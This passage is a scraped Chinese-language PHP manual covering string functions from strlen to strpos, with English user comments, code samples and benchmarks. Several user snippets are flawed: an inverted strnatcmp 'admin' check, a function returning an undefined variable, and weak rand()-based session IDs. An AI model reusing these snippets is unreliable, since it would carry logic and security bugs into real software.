Attention with utf8:
$foo = "b?r";
strlen($foo) will return 4 and not 3 as expected..
basil at gohar dot us 08-Jun-2010 02:03
We just ran into what we thought was a bug but turned out to be a documented difference in behavior between PHP 5.2 & 5.3.  Take the following code example:

<?php

$attributes = array('one', 'two', 'three');

if (strlen($attributes) == 0 && !is_bool($attributes)) {
    echo "We are in the 'if'\n";  //  PHP 5.3
} else {
    echo "We are in the 'else'\n";  //  PHP 5.2
}

?>

This is because in 5.2 strlen will automatically cast anything passed to it as a string, and casting an array to a string yields the string "Array".  In 5.3, this changed, as noted in the following point in the backward incompatible changes in 5.3 (http://www.php.net/manual/en/migration53.incompatible.php):

"The newer internal parameter parsing API has been applied across all the extensions bundled with PHP 5.3.x. This parameter parsing API causes functions to return NULL when passed incompatible parameters. There are some exceptions to this rule, such as the get_class() function, which will continue to return FALSE on error."

So, in PHP 5.3, strlen($attributes) returns NULL, while in PHP 5.2, strlen($attributes) returns the integer 5.  This likely affects other functions, so if you are getting different behaviors or new bugs suddenly, check if you have upgraded to 5.3 (which we did recently), and then check for some warnings in your logs like this:

strlen() expects parameter 1 to be string, array given in /var/www/sis/lib/functions/advanced_search_lib.php on line 1028

If so, then you are likely experiencing this changed behavior.
Amaroq 19-Mar-2009 11:51
When dealing with submitted forms that you've imposed a character limit on, you must remember that functions that count characters consider "\r\n" to be two characters.

<?php
//These will both output 2.
echo strlen("\r\n");
echo mb_strlen("\r\n");
?>

If I had thought of this starting out, I would have saved myself several hours of trouble trying to get php to cut a message to the same length that my auxiliary javascript validation imposed on it.
bartek at proteus,pl 19-Jul-2005 05:08
> Just a precisation, maybe obvious, about the strlen() behaviour:
> with binary strings (i.e. returned by the pack() finction) is made
> a byte count... so strlen returns the number of bytes contained
> in the binary string.

This is not always true. strlen() might be shadowed by mb_strlen().
If that is the case it might treat binary data as unocode string and return wrong value (I just found it out after fighting with egroupware email attachment handling bug).

So, if your data is binary I would suggest using somthing like this (parts of the code from egroupware):

<?php
$has_mbstring = extension_loaded('mbstring') ||@dl(PHP_SHLIB_PREFIX.'mbstring.'.PHP_SHLIB_SUFFIX);
$has_mb_shadow = (int) ini_get('mbstring.func_overload');

if ($has_mbstring && ($has_mb_shadow & 2) ) {
   $size = mb_strlen($this->output_data,'latin1');
} else {
   $size = strlen($this->output_data);
}
?>
--
Bartek
http://nsk.wikinerds.org 22-Apr-2005 09:02
Beware: strlen() counts new line characters at the end of a string, too!

<?php
  $a = "123\n";
  echo "<p>".strlen($a)."</p>";
?>

The above code will output 4.
packe100 at hotmail dot com 14-Mar-2005 07:07
Just a precisation, maybe obvious, about the strlen() behaviour: with binary strings (i.e. returned by the pack() finction) is made a byte count... so strlen returns the number of bytes contained in the binary string.
chernyshevsky at hotmail dot com 05-Sep-2004 03:36
The easiest way to determine the character count of a UTF8 string is to pass the text through utf8_decode() first:

<?php
$length = strlen(utf8_decode($s));
?>

utf8_decode() converts characters that are not in ISO-8859-1 to '?', which, for the purpose of counting, is quite alright.


使用“自然顺序”算法比较字符串（不区分大小写）

  • ? strlen
  • strnatcmp ?
  • PHP Manual
  • 字符串 函数
  • 使用“自然顺序”算法比较字符串（不区分大小写）

strnatcasecmp

(PHP 4, PHP 5, PHP 7)

strnatcasecmp — 使用"自然顺序"算法比较字符串（不区分大小写）

说明

strnatcasecmp ( string $str1 , string $str2 ) : int

该函数实现了以人类习惯对数字型字符串进行排序的比较算法。除了不区分大小写，该函数的行为与 strnatcmp() 类似。更多信息，参见：Martin Pool 的» 自然顺序的字符串比较页面。

参数

str1

第一个字符串。

str2

第二个字符串。

返回值

与其他字符串比较函数类似，如果 str1 小于 str2 返回 < 0； 如果 str1 大于 str2 返回 > 0；如果两者相等，返回 0。

参见

  • preg_match() - 执行匹配正则表达式
  • strcmp() - 二进制安全字符串比较
  • strcasecmp() - 二进制安全比较字符串（不区分大小写）
  • substr() - 返回字符串的子串
  • stristr() - strstr 函数的忽略大小写版本
  • strncasecmp() - 二进制安全比较字符串开头的若干个字符（不区分大小写）
  • strncmp() - 二进制安全比较字符串开头的若干个字符
  • strstr() - 查找字符串的首次出现
  • setlocale() - 设置地区信息

User Contributed Notes

Marco 20-May-2016 10:12
Use strnatcmp to avoid the _ problem as mentioned below;

<<  The function treats '_' as after letters and numbers when it would be placed before logically. >>
chatfielddaniel at googlemail dot com 14-Apr-2011 04:07
The function treats '_' as after letters and numbers when it would be placed before logically.
thomas at uninet dot se 25-Jul-2006 12:49
There seems to be a bug in the localization for strnatcmp and strnatcasecmp. I searched the reported bugs and found a few entries which were up to four years old (but the problem still exists when using swedish characters).

These functions might work instead.
<?php
function _strnatcasecmp($left, $right) {
  return _strnatcmp(strtolower($left), strtolower($right));
}

function _strnatcmp($left, $right) {
  while((strlen($left) > 0) && (strlen($right) > 0)) {
    if(preg_match('/^([^0-9]*)([0-9].*)$/Us', $left, $lMatch)) {
      $lTest = $lMatch[1];
      $left = $lMatch[2];
    } else {
      $lTest = $left;
      $left = '';
    }
    if(preg_match('/^([^0-9]*)([0-9].*)$/Us', $right, $rMatch)) {
      $rTest = $rMatch[1];
      $right = $rMatch[2];
    } else {
      $rTest = $right;
      $right = '';
    }
    $test = strcmp($lTest, $rTest);
    if($test != 0) {
      return $test;
    }
    if(preg_match('/^([0-9]+)([^0-9].*)?$/Us', $left, $lMatch)) {
      $lTest = intval($lMatch[1]);
      $left = $lMatch[2];
    } else {
      $lTest = 0;
    }
    if(preg_match('/^([0-9]+)([^0-9].*)?$/Us', $right, $rMatch)) {
      $rTest = intval($rMatch[1]);
      $right = $rMatch[2];
    } else {
      $rTest = 0;
    }
    $test = $lTest - $rTest;
    if($test != 0) {
      return $test;
    }
  }
  return strcmp($left, $right);
}
?>

The code is not optimized. It was just made to solve my problem.


使用自然排序算法比较字符串

  • ? strnatcasecmp
  • strncasecmp ?
  • PHP Manual
  • 字符串 函数
  • 使用自然排序算法比较字符串

strnatcmp

(PHP 4, PHP 5, PHP 7)

strnatcmp — 使用自然排序算法比较字符串

说明

strnatcmp ( string $str1 , string $str2 ) : int

该函数实现了以人类习惯对数字型字符串进行排序的比较算法，这就是"自然顺序"。注意该比较区分大小写。

参数

str1

第一个字符串。

str2

第二个字符串。

返回值

与其他字符串比较函数类似，如果 str1 小于 str2 返回 < 0； 如果 str1 大于 str2 返回 > 0；如果两者相等，返回 0。

范例

下面的例子展示了该算法与计算机常规字符串比较算法（ strcmp() 所使用的）的区别：

<?php
$arr1 = $arr2 = array("img12.png", "img10.png", "img2.png", "img1.png");
echo "Standard string comparison\n";
usort($arr1, "strcmp");
print_r($arr1);
echo "\nNatural order string comparison\n";
usort($arr2, "strnatcmp");
print_r($arr2);
?>

以上例程会输出：

Standard string comparison
Array
(
    [0] => img1.png
    [1] => img10.png
    [2] => img12.png
    [3] => img2.png
)

Natural order string comparison
Array
(
    [0] => img1.png
    [1] => img2.png
    [2] => img10.png
    [3] => img12.png
)
更多信息，参见：Martin Pool 的» 自然顺序的字符串比较 page.

参见

  • preg_match() - 执行匹配正则表达式
  • strcasecmp() - 二进制安全比较字符串（不区分大小写）
  • substr() - 返回字符串的子串
  • stristr() - strstr 函数的忽略大小写版本
  • strcmp() - 二进制安全字符串比较
  • strncmp() - 二进制安全比较字符串开头的若干个字符
  • strncasecmp() - 二进制安全比较字符串开头的若干个字符（不区分大小写）
  • strnatcasecmp() - 使用“自然顺序”算法比较字符串（不区分大小写）
  • strstr() - 查找字符串的首次出现
  • natsort() - 用“自然排序”算法对数组排序
  • natcasesort() - 用“自然排序”算法对数组进行不区分大小写字母的排序

User Contributed Notes

spamspamspam at gmx dot com 30-Oct-2018 04:24
Some more remarkable outcomes:

var_dump(strnatcmp("0.15m", "0.2m"));
int(1)

var_dump(strnatcmp("0.15m", "0.20m"));
int(-1)

It's not about localisation:

var_dump(strnatcmp("0,15m", "0,2m"));
int(1)

var_dump(strnatcmp("0,15m", "0,20m"));
int(-1)
chris at ocproducts dot com 04-May-2017 01:16
This function has some interesting behaviour on strings consisting of mixed numbers and letters.

One may expect that such a mixed string would be treated as alpha-numeric, but that is not true.

var_dump(strnatcmp('23','123')); →
int(-1)
As expected, 23<123   (even though first digit is higher, overall number is smaller)

var_dump(strnatcmp('yz','xyz')); →
int(1)
As expected, yz>xyz   (string comparison, irregardless of string length)

var_dump(strnatcmp('2x','12y')); →
int(-1)
Remarkable, 2x<12y    (does a numeric comparison)

var_dump(strnatcmp('20x','12y'));
int(1)
Remarkable, 20x>12y    (does a numeric comparison)

It seems to be splitting what is being compared into runs of numbers and letters, and then comparing each run in isolation, until it has an ordering difference.
in dot games dot mq at gmail dot com 12-Dec-2016 03:34
Can also be used with combination of a compare for an array nested value, like

<?php
$array = array(
    "city" => "xyz",
    "names" => array(
        array(
            "name" => "Ana2",
            "id" => 1
        ) ,
        array(
            "name" => "Ana1",
            "id" => 2
        )
    )
);
usort($array["names"], function ($a, $b)    {    return strnatcmp($a['name'], $b['name']);} );
Zero 04-Dec-2010 02:14
If you want to compare $_SESSION variables to a string use this

<?php
if(isset($_SESSION['usertype']))
{
     echo "usertype " .$_SESSION['usertype'];

     $ut = $_SESSION['usertype'];

     if(strnatcmp($ut,"admin"))
     {
          echo "hello admin";
     }
}
?>
thomas at uninet dot se 25-Jul-2006 12:50
There seems to be a bug in the localization for strnatcmp and strnatcasecmp. I searched the reported bugs and found a few entries which were up to four years old (but the problem still exists when using swedish characters).

These functions might work instead.
<?php
function _strnatcasecmp($left, $right) {
  return _strnatcmp(strtolower($left), strtolower($right));
}

function _strnatcmp($left, $right) {
  while((strlen($left) > 0) && (strlen($right) > 0)) {
    if(preg_match('/^([^0-9]*)([0-9].*)$/Us', $left, $lMatch)) {
      $lTest = $lMatch[1];
      $left = $lMatch[2];
    } else {
      $lTest = $left;
      $left = '';
    }
    if(preg_match('/^([^0-9]*)([0-9].*)$/Us', $right, $rMatch)) {
      $rTest = $rMatch[1];
      $right = $rMatch[2];
    } else {
      $rTest = $right;
      $right = '';
    }
    $test = strcmp($lTest, $rTest);
    if($test != 0) {
      return $test;
    }
    if(preg_match('/^([0-9]+)([^0-9].*)?$/Us', $left, $lMatch)) {
      $lTest = intval($lMatch[1]);
      $left = $lMatch[2];
    } else {
      $lTest = 0;
    }
    if(preg_match('/^([0-9]+)([^0-9].*)?$/Us', $right, $rMatch)) {
      $rTest = intval($rMatch[1]);
      $right = $rMatch[2];
    } else {
      $rTest = 0;
    }
    $test = $lTest - $rTest;
    if($test != 0) {
      return $test;
    }
  }
  return strcmp($left, $right);
}
?>

The code is not optimized. It was just made to solve my problem.


二进制安全比较字符串开头的若干个字符（不区分大小写）

  • ? strnatcmp
  • strncmp ?
  • PHP Manual
  • 字符串 函数
  • 二进制安全比较字符串开头的若干个字符（不区分大小写）

strncasecmp

(PHP 4 >= 4.0.2, PHP 5, PHP 7)

strncasecmp — 二进制安全比较字符串开头的若干个字符（不区分大小写）

说明

strncasecmp ( string $str1 , string $str2 , int $len ) : int

该函数与 strcasecmp() 类似，不同之处在于你可以指定两个字符串比较时使用的长度（即最大比较长度）。

参数

str1

第一个字符串。

str2

第二个字符串。

len

最大比较长度。

返回值

如果 str1 小于 str2 返回 < 0； 如果 str1 大于 str2 返回 > 0；如果两者相等，返回 0。

参见

  • strncmp() - 二进制安全比较字符串开头的若干个字符
  • preg_match() - 执行匹配正则表达式
  • substr_compare() - 二进制安全比较字符串（从偏移位置比较指定长度）
  • strcasecmp() - 二进制安全比较字符串（不区分大小写）
  • stristr() - strstr 函数的忽略大小写版本
  • substr() - 返回字符串的子串

User Contributed Notes

sazalach at gmail dot com 15-Dec-2015 11:14
<?php
$str1 = "red";
$str2 = "redent";
$test=strncasecmp($str1, $str2 , 3);
if ($str1==$str2)
{
echo "$test";
}
else
{
echo "$test" ;
}
?>

if we run the above script then we will get return 0, because first string $str1 = "red" and second $str2 = "redent" but in comparison i have set the first three character will try to match. as per condition if two string are equal then it will return 0. But in below example it will return greater than 0 because here is str1 is greater than str2.

<?php
$str1 = "redmyshirt";
$str2 = "redent";
$test=strncasecmp($str1, $str2 , 4);
if ($str1==$str2)
{
echo "$test";
}
else
{
echo "$test" ;
}
?>

as same if we run the below script it will return -1 because str1 is less than str2.

<?php
$str1 = "red";
$str2 = "redent";
$test=strncasecmp($str1, $str2 , 4);
if ($str1==$str2)
{
echo "$test";
}
else
{
echo "$test" ;
}
?>

ya..i think its easy to understand
saikumar dot msc at gmail dot com 01-Jun-2014 03:26
Example:
<?php
$string = "true";
if(strncasecmp($string, "Trudeau", 4)) { print "True"; } else { print "False" }
?>

If we look at above example, immediately we will say the final output will be 'False', but that's not real.

Method "strncasecmp()" returns 1 because the first four characters of 'Trud' come before the first four characters of "true" when sorted not case sensitively.


二进制安全比较字符串开头的若干个字符

  • ? strncasecmp
  • strpbrk ?
  • PHP Manual
  • 字符串 函数
  • 二进制安全比较字符串开头的若干个字符

strncmp

(PHP 4, PHP 5, PHP 7)

strncmp — 二进制安全比较字符串开头的若干个字符

说明

strncmp ( string $str1 , string $str2 , int $len ) : int

该函数与 strcmp() 类似，不同之处在于你可以指定两个字符串比较时使用的长度（即最大比较长度）。

注意该比较区分大小写。

参数

str1

第一个字符串。

str2

第二个字符串。

len

最大比较长度。

返回值

如果 str1 小于 str2 返回 < 0； 如果 str1 大于 str2 返回 > 0；如果两者相等，返回 0。

参见

  • strncasecmp() - 二进制安全比较字符串开头的若干个字符（不区分大小写）
  • preg_match() - 执行匹配正则表达式
  • substr_compare() - 二进制安全比较字符串（从偏移位置比较指定长度）
  • strcmp() - 二进制安全字符串比较
  • strstr() - 查找字符串的首次出现
  • substr() - 返回字符串的子串

User Contributed Notes

samy 01-May-2017 01:40
I just want to highlight that (at least on php7), when testing for the existence of a string in the beginning of another string you should consider using substr  or strpos (if performances is an issue).

Here is a small benchmark (for what it's worth):
<?php
$n = 'abcd';
$l = strlen($n);
$haystack0 = base64_encode(random_bytes(128));

//heat
$r = 1;
for ($i = 0; $i < 100000000; $i++)
    $r += $r * $r % 10000;

//tests
$k = 30000000;
$res = array();
foreach (array('found' => $n . $haystack0, 'not-found' => strrev($n) . $haystack0) as $f => $haystack) {
    $m = microtime(true);
    for ($i = 0; $i < $k; $i++)
        !strncmp($haystack, $n, $l) && $r++;
    $res["strncmp-$f"] = -$m + ($m = microtime(true));

    for ($i = 0; $i < $k; $i++)
        (strpos($haystack, $n) === 0) && $r++;
    $res["strpos-$f"] = -$m + ($m = microtime(true));

    for ($i = 0; $i < $k; $i++)
        (substr($haystack, 0, $l) === $n) && $r++;
    $res["substr-$f"] = microtime(true) - $m;
}

//print
asort($res);
print_r($res);
echo "\n$r"; // makes sure no auto-optimization occurs
?>

This outputs:
<?php /*
    [strpos-found]        => 1.3313138484955
    [substr-not-found]    => 1.4832630157471
    [substr-found]        => 1.6976611614227
    [strpos-not-found]    => 2.0043320655823
    [strncmp-not-found]    => 2.0969619750977
    [strncmp-found]        => 2.3616981506348
*/ ?>
salehrezq at gmail dot com 06-Oct-2016 03:42
A note not included in the documentation:

int strcmp ( string $str1 , string $str2 )

Returns < 0 if str1 is less than str2; > 0 if str1 is greater than str2, and 0 if they are equal.

My addendum:
If str1 and str2 are not equal, and str1 is a sub-string of str2 or vise versa. The returned int value will be negative or positive indicating how many characters the difference is between the two strings in absolute terms.

Example:

<?php
$str1 = "phpaaa";
$str2 = "php";

echo strcmp($str1, $str2); // 3
?>

since str2 = "php" is a sub-string of str1 = "phpaaa" and "phpaaa" is greater than "php" the returned value is positive and is 3 indicating how many characters the difference is between the two strings.

If you replace the value of str1 with str2 the result will be -3 (negative) but still indicates the absolute difference which is 3
bobvin at pillars dot net 19-May-2011 07:25
For checking matches at the beginning of a short string, strpos() is about 15% faster than strncmp().

Here's a benchmark program to prove it:

<?php
$haystack = "abcdefghijklmnopqrstuvwxyz";
$needles = array('abc', 'xyz', '123');
foreach ($needles as $needle) {
  $times['strncmp'][$needle] = -microtime(true);
  for ($i = 0; $i < 1000000; $i++) {
    $result = strncmp($haystack, $needle, 3) === 0;
  }
  $times['strncmp'][$needle] += microtime(true);
}
foreach ($needles as $needle) {
  $times['strpos'][$needle] = -microtime(true);
  for ($i = 0; $i < 1000000; $i++) {
    $result = strpos($haystack, $needle) === 0;
  }
  $times['strpos'][$needle] += microtime(true);
}
var_export($times);
?>
elloromtz at gmail dot com 19-Apr-2010 05:25
if length is 0 regardless what the two strings are, it will return 0

<?php
strncmp("xybc","a3234",0); // 0
strncmp("blah123","hohoho", 0); //0
?>
codeguru at crazyprogrammer dot cba dot pl 24-Jan-2008 11:07
I ran the following experiment to compare arrays.

1 st - using (substr($key,0,5 == "HTTP_") & 2 nd - using (!strncmp($key, 'HTTP_', 5))

I wanted to work out the fastest way to get the first few characters from a array

BENCHMARK ITERATION RESULT IS:
if (substr($key,0,5 == "HTTP_").... -   0,000481s
if (!strncmp($key, 'HTTP_', 5)).... -     0,000405s

strncmp() is 20% faster than substr() :D

<?php
// SAMPLE FUNCTION
function strncmp_match($arr)
{
foreach ($arr as $key => $val)
    {
    //if (substr($key,0,5 == "HTTP_")
    if (!strncmp($key, 'HTTP_', 5))
        {
    $out[$key] = $val;
        }
    }
return $out;
}

// EXAMPLE USE
?><pre><?php
print_r(strncmp_match($_SERVER));
?></pre>

will display code like this:

Array
(
    [HTTP_ACCEPT] => XXX
    [HTTP_ACCEPT_LANGUAGE] => pl
    [HTTP_UA_CPU] => x64
    [HTTP_ACCEPT_ENCODING] => gzip, deflate
    [HTTP_USER_AGENT] => Mozilla/4.0
                                    (compatible; MSIE 7.0;
                                     Windows NT 5.1;
                                    .NET CLR 1.1.4322;
                                    .NET CLR 2.0.50727)
    [HTTP_HOST] => XXX.XXX.XXX.XXX
    [HTTP_CONNECTION] => Keep-Alive
    [HTTP_COOKIE] => __utma=XX;__utmz=XX.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none)
)


在字符串中查找一组字符的任何一个字符

  • ? strncmp
  • strpos ?
  • PHP Manual
  • 字符串 函数
  • 在字符串中查找一组字符的任何一个字符

strpbrk

(PHP 5, PHP 7)

strpbrk — 在字符串中查找一组字符的任何一个字符

说明

strpbrk ( string $haystack , string $char_list ) : string

strpbrk() 函数在 haystack 字符串中查找 char_list 中的字符。

参数

haystack

在此字符串中查找 char_list。

char_list

该参数区分大小写。

返回值

返回一个以找到的字符开始的子字符串。如果没有找到，则返回 FALSE。

范例

Example #1 strpbrk() 范例

<?php

$text = 'This is a Simple text.';

// 输出 "is is a Simple text."，因为 'i' 先被匹配
echo strpbrk($text, 'mi');

// 输出 "Simple text."，因为字符区分大小写
echo strpbrk($text, 'S');
?>

参见

  • strpos() - 查找字符串首次出现的位置
  • strstr() - 查找字符串的首次出现
  • preg_match() - 执行匹配正则表达式

User Contributed Notes

guillaume dot barranco at free dot fr 16-Oct-2017 02:56
A little modification to Evan's code to use an array for the second parameter :

<?php

function strpbrkpos($s, $accept) {
  $r = FALSE;
  $t = 0;
  $i = 0;
  $accept_l = count($accept);

  for ( ; $i < $accept_l ; $i++ )
    if ( ($t = strpos($s, $accept[$i])) !== FALSE )
      if ( ($r === FALSE) || ($t < $r) )
        $r = $t;

    return $r;
}

?>
devnuhl 11-Jul-2014 08:12
If you're not looking to duplicate the rest of the string, but instead just want the offset, in the spirit of the str*pos() functions, use strcspn()
Evan 03-Jul-2007 08:33
If you're not looking to duplicate the rest of the string, but instead just want the offset, in the spirit of the str*pos() functions:

<?php

function strpbrkpos($s, $accept) {
  $r = FALSE;
  $t = 0;
  $i = 0;
  $accept_l = strlen($accept);

  for ( ; $i < $accept_l ; $i++ )
    if ( ($t = strpos($s, $accept{$i})) !== FALSE )
      if ( ($r === FALSE) || ($t < $r) )
        $r = $t;

  return $v;
}

?>


查找字符串首次出现的位置

  • ? strpbrk
  • strrchr ?
  • PHP Manual
  • 字符串 函数
  • 查找字符串首次出现的位置

strpos

(PHP 4, PHP 5, PHP 7)

strpos — 查找字符串首次出现的位置

说明

strpos ( string $haystack , mixed $needle [, int $offset = 0 ] ) : int

返回 needle 在 haystack 中首次出现的数字位置。

参数

haystack

在该字符串中进行查找。

needle

如果 needle 不是一个字符串，那么它将被转换为整型并被视为字符的顺序值。

offset

如果提供了此参数，搜索会从字符串该字符数的起始位置开始统计。 如果是负数，搜索会从字符串结尾指定字符数开始。

返回值

返回 needle 存在于 haystack 字符串起始的位置(独立于 offset)。同时注意字符串位置是从0开始，而不是从1开始的。

如果没找到 needle，将返回 FALSE。

Warning

此函数可能返回布尔值 FALSE，但也可能返回等同于 FALSE 的非布尔值。请阅读 布尔类型章节以获取更多信息。应使用 === 运算符来测试此函数的返回值。

更新日志

版本 | 说明
7.1.0 | 开始支持负数的 offset。

范例

Example #1 使用 ===

<?php
$mystring = 'abc';
$findme   = 'a';
$pos = strpos($mystring, $findme);

// 注意这里使用的是 ===。简单的 == 不能像我们期待的那样工作，
// 因为 'a' 是第 0 位置上的（第一个）字符。
if ($pos === false) {
    echo "The string '$findme' was not found in the string '$mystring'";
} else {
    echo "The string '$findme' was found in the string '$mystring'";
    echo " and exists at position $pos";
}
?>

Example #2 使用 !==

<?php
$mystring = 'abc';
$findme   = 'a';
$pos = strpos($mystring, $findme);

// 使用 !== 操作符。使用 != 不能像我们期待的那样工作，
// 因为 'a' 的位置是 0。语句 (0 != false) 的结果是 false。
if ($pos !== false) {
     echo "The string '$findme' was found in the string '$mystring'";
         echo " and exists at position $pos";
} else {
     echo "The string '$findme' was not found in the string '$mystring'";
}
?>

Example #3 使用位置偏移量

<?php
// 忽视位置偏移量之前的字符进行查找
$newstring = 'abcdef abcdef';
$pos = strpos($newstring, 'a', 1); // $pos = 7, 不是 0
?>

注释

Note: 此函数可安全用于二进制对象。

参见

  • stripos() - 查找字符串首次出现的位置（不区分大小写）
  • strrpos() - 计算指定字符串在目标字符串中最后一次出现的位置
  • strripos() - 计算指定字符串在目标字符串中最后一次出现的位置（不区分大小写）
  • strstr() - 查找字符串的首次出现
  • strpbrk() - 在字符串中查找一组字符的任何一个字符
  • substr() - 返回字符串的子串
  • preg_match() - 执行匹配正则表达式

User Contributed Notes

hu60 dot cn at gmail dot com 09-Jun-2019 01:25
A more accurate imitation of the PHP function session_start().

Function my_session_start() does something similar to session_start() that has the default configure, and the session files generated by the two are binary compatible.

The code may help people increase their understanding of the principles of the PHP session.

<?php
error_reporting(E_ALL);
ini_set('display_errors', true);
ini_set('session.save_path', __DIR__);

my_session_start();

echo '<p>session id: '.my_session_id().'</p>';

echo '<code><pre>';
var_dump($_SESSION);
echo '</pre></code>';

$now = date('H:i:s');
if (isset($_SESSION['last_visit_time'])) {
  echo '<p>Last Visit Time: '.$_SESSION['last_visit_time'].'</p>';
}
echo '<p>Current Time: '.$now.'</p>';

$_SESSION['last_visit_time'] = $now;

function my_session_start() {
  global $phpsessid, $sessfile;

  if (!isset($_COOKIE['PHPSESSID']) || empty($_COOKIE['PHPSESSID'])) {
    $phpsessid = my_base32_encode(my_random_bytes(16));
    setcookie('PHPSESSID', $phpsessid, ini_get('session.cookie_lifetime'), ini_get('session.cookie_path'), ini_get('session.cookie_domain'), ini_get('session.cookie_secure'), ini_get('session.cookie_httponly'));
  } else {
    $phpsessid = substr(preg_replace('/[^a-z0-9]/', '', $_COOKIE['PHPSESSID']), 0, 26);
  }

  $sessfile = ini_get('session.save_path').'/sess_'.$phpsessid;
  if (is_file($sessfile)) {
    $_SESSION = my_unserialize(file_get_contents($sessfile));
  } else {
    $_SESSION = array();
  }
  register_shutdown_function('my_session_save');
}

function my_session_save() {
  global $sessfile;

  file_put_contents($sessfile, my_serialize($_SESSION));
}

function my_session_id() {
  global $phpsessid;
  return $phpsessid;
}

function my_serialize($data) {
  $text = '';
  foreach ($data as $k=>$v) {
    // key cannot contains '|'
    if (strpos($k, '|') !== false) {
      continue;
    }
    $text.=$k.'|'.serialize($v)."\n";
  }
  return $text;
}

function my_unserialize($text) {
  $data = [];
  $text = explode("\n", $text);
  foreach ($text as $line) {
    $pos = strpos($line, '|');
    if ($pos === false) {
      continue;
    }
    $data[substr($line, 0, $pos)] = unserialize(substr($line, $pos + 1));
  }
  return $data;
}

function my_random_bytes($length) {
  if (function_exists('random_bytes')) {
      return random_bytes($length);
  }
  $randomString = '';
  for ($i = 0; $i < $length; $i++) {
      $randomString .= chr(rand(0, 255));
  }
  return $randomString;
}

function my_base32_encode($input) {
  $BASE32_ALPHABET = 'abcdefghijklmnopqrstuvwxyz234567';
  $output = '';
  $v = 0;
  $vbits = 0;
  for ($i = 0, $j = strlen($input); $i < $j; $i++) {
    $v <<= 8;
    $v += ord($input[$i]);
    $vbits += 8;
    while ($vbits >= 5) {
      $vbits -= 5;
      $output .= $BASE32_ALPHABET[$v >> $vbits];
      $v &= ((1 << $vbits) - 1);
    }
  }
  if ($vbits > 0) {
    $v <<= (5 - $vbits);
    $output .= $BASE32_ALPHABET[$v];
  }
  return $output;
}
Jean 05-Mar-2019 05:50
When a value can be of "unknow" type, I find this conversion trick usefull and more readable than a formal casting (for php7.3+):

<?php
$time = time();
$string = 'This is a test: ' . $time;
echo (strpos($string, $time) !== false ? 'found' : 'not found');
echo (strpos($string, "$time") !== false ? 'found' : 'not found');
?>
amolocaleb at gmail dot com 06-Sep-2018 03:00
Note that strpos() is case sensitive,so when doing a case insensitive search,use stripos() instead..If the latter is not available,subject the string to strlower() first,otherwise you may end up in this situation..
<?php
//say we are matching url routes and calling access control middleware depending on the route

$registered_route = '/admin' ;
//now suppose we want to call the authorization middleware before accessing the admin route
if(strpos($path->url(),$registered_route) === 0){
     $middleware->call('Auth','login');
}
?>
and the auth middleware is as follows
<?php
class Auth{

function login(){
   if(!loggedIn()){
       return redirect("path/to/login.php");
}
return true;
}
}

//Now suppose:
$user_url = '/admin';
//this will go to the Auth middleware for checks and redirect accordingly

//But:
$user_url = '/Admin';
//this will make the strpos function return false since the 'A' in admin is upper case and user will be taken directly to admin dashboard authentication and authorization notwithstanding
?>
Simple fixes:
<?php
//use stripos() as from php 5
if(stripos($path->url(),$registered_route) === 0){
     $middleware->call('Auth','login');
}
//for those with php 4
if(stripos(strtolower($path->url()),$registered_route) === 0){
     $middleware->call('Auth','login');
}
//make sure the $registered_route is also lowercase.Or JUST UPGRADE to PHP 5>
msegit post pl 18-Jul-2018 12:41
This might be useful, I often use for parsing file paths etc.
(Some examples inside https://gist.github.com/msegu/bf7160257037ec3e301e7e9c8b05b00a )
<?php
/**
* Function 'strpos_' finds the position of the first or last occurrence of a substring in a string, ignoring number of characters
*
* Function 'strpos_' is similar to 'str[r]pos()', except:
* 1. fourth (last, optional) param tells, what to return if str[r]pos()===false
* 2. third (optional) param $offset tells as of str[r]pos(), BUT if negative (<0) search starts -$offset characters counted from the end AND skips (ignore!, not as 'strpos' and 'strrpos') -$offset-1 characters from the end AND search backwards
*
* @param string $haystack Where to search
* @param string $needle What to find
* @param int $offset (optional) Number of characters to skip from the beginning (if 0, >0) or from the end (if <0) of $haystack
* @param mixed $resultIfFalse (optional) Result, if not found
*    Example:
*    positive $offset - like strpos:
*        strpos_('abcaba','ab',1)==strpos('abcaba','ab',1)==3, strpos('abcaba','ab',4)===false, strpos_('abcaba','ab',4,'Not found')==='Not found'
*    negative $offset - similar to strrpos:
*        strpos_('abcaba','ab',-1)==strpos('abcaba','ab',-1)==3, strrpos('abcaba','ab',-3)==3 BUT strpos_('abcaba','ab',-3)===0 (omits 2 characters from the end, because -2-1=-3, means search in 'abca'!)
*
* @result int $offset Returns offset (or false), or $resultIfFalse
*/
function strpos_($haystack, $needle, $offset = 0, $resultIfFalse = false) {
    $haystack=((string)$haystack);    // (string) to avoid errors with int, float...
    $needle=((string)$needle);
    if ($offset>=0) {
        $offset=strpos($haystack, $needle, $offset);
        return (($offset===false)? $resultIfFalse : $offset);
    } else {
        $haystack=strrev($haystack);
        $needle=strrev($needle);
        $offset=strpos($haystack,$needle,-$offset-1);
        return (($offset===false)? $resultIfFalse : strlen($haystack)-$offset-strlen($needle));
    }
}
?>
marvin_elia at web dot de 19-Apr-2018 09:36
Find position of nth occurrence of a string:

    function strpos_occurrence(string $string, string $needle, int $occurrence, int $offset = null) {
        if((0 < $occurrence) && ($length = strlen($needle))) {
            do {
            } while ((false !== $offset = strpos($string, $needle, $offset)) && --$occurrence && ($offset += $length));
            return $offset;
        }
        return false;
    }
greg at spotx dot net 27-Nov-2017 12:48
Warning:
this is not unicode safe

strpos($word,'?') in e?ez-> 1
strpos($word,'?') in è?ent-> 2
Lhenry 03-Oct-2017 09:34
note that strpos( "8 june 1970"  ,  1970 ) returns FALSE..

add quotes to the needle
eef dot vreeland at gmail dot com 22-Apr-2017 01:16
To prevent others from staring at the text, note that the wording of the 'Return Values' section is ambiguous.

Let's say you have a string $myString containing 50 'a's except on position 3 and 43, they contain 'b'.
And for this moment, forget that counting starts from 0.

strpos($myString, 'b', 40) returns 43, great.

And now the text: "Returns the position of where the needle exists relative to the beginning of the haystack string (independent of offset)."

So it doesn't really matter what offset I specify; I'll get the REAL position of the first occurrence in return, which is 3?

... no ...

"independent of offset" means, you will get the REAL positions, thus, not relative to your starting point (offset).

Substract your offset from strpos()'s answer, then you have the position relative to YOUR offset.
jexy dot ru at gmail dot com 23-Jan-2017 08:29
Docs are missing that WARNING is issued if needle is '' (empty string).

In case of empty haystack it just return false:

For example:

<?php
var_dump(strpos('foo', ''));

var_dump(strpos('', 'foo'));

var_dump(strpos('', ''));
?>

will output:

Warning: strpos(): Empty needle in /in/lADCh on line 3
bool(false)

bool(false)

Warning: strpos(): Empty needle in /in/lADCh on line 7
bool(false)

Note also that warning text may differ depending on php version, see https://3v4l.org/lADCh
m.m.j.kronenburg 06-Sep-2016 10:56
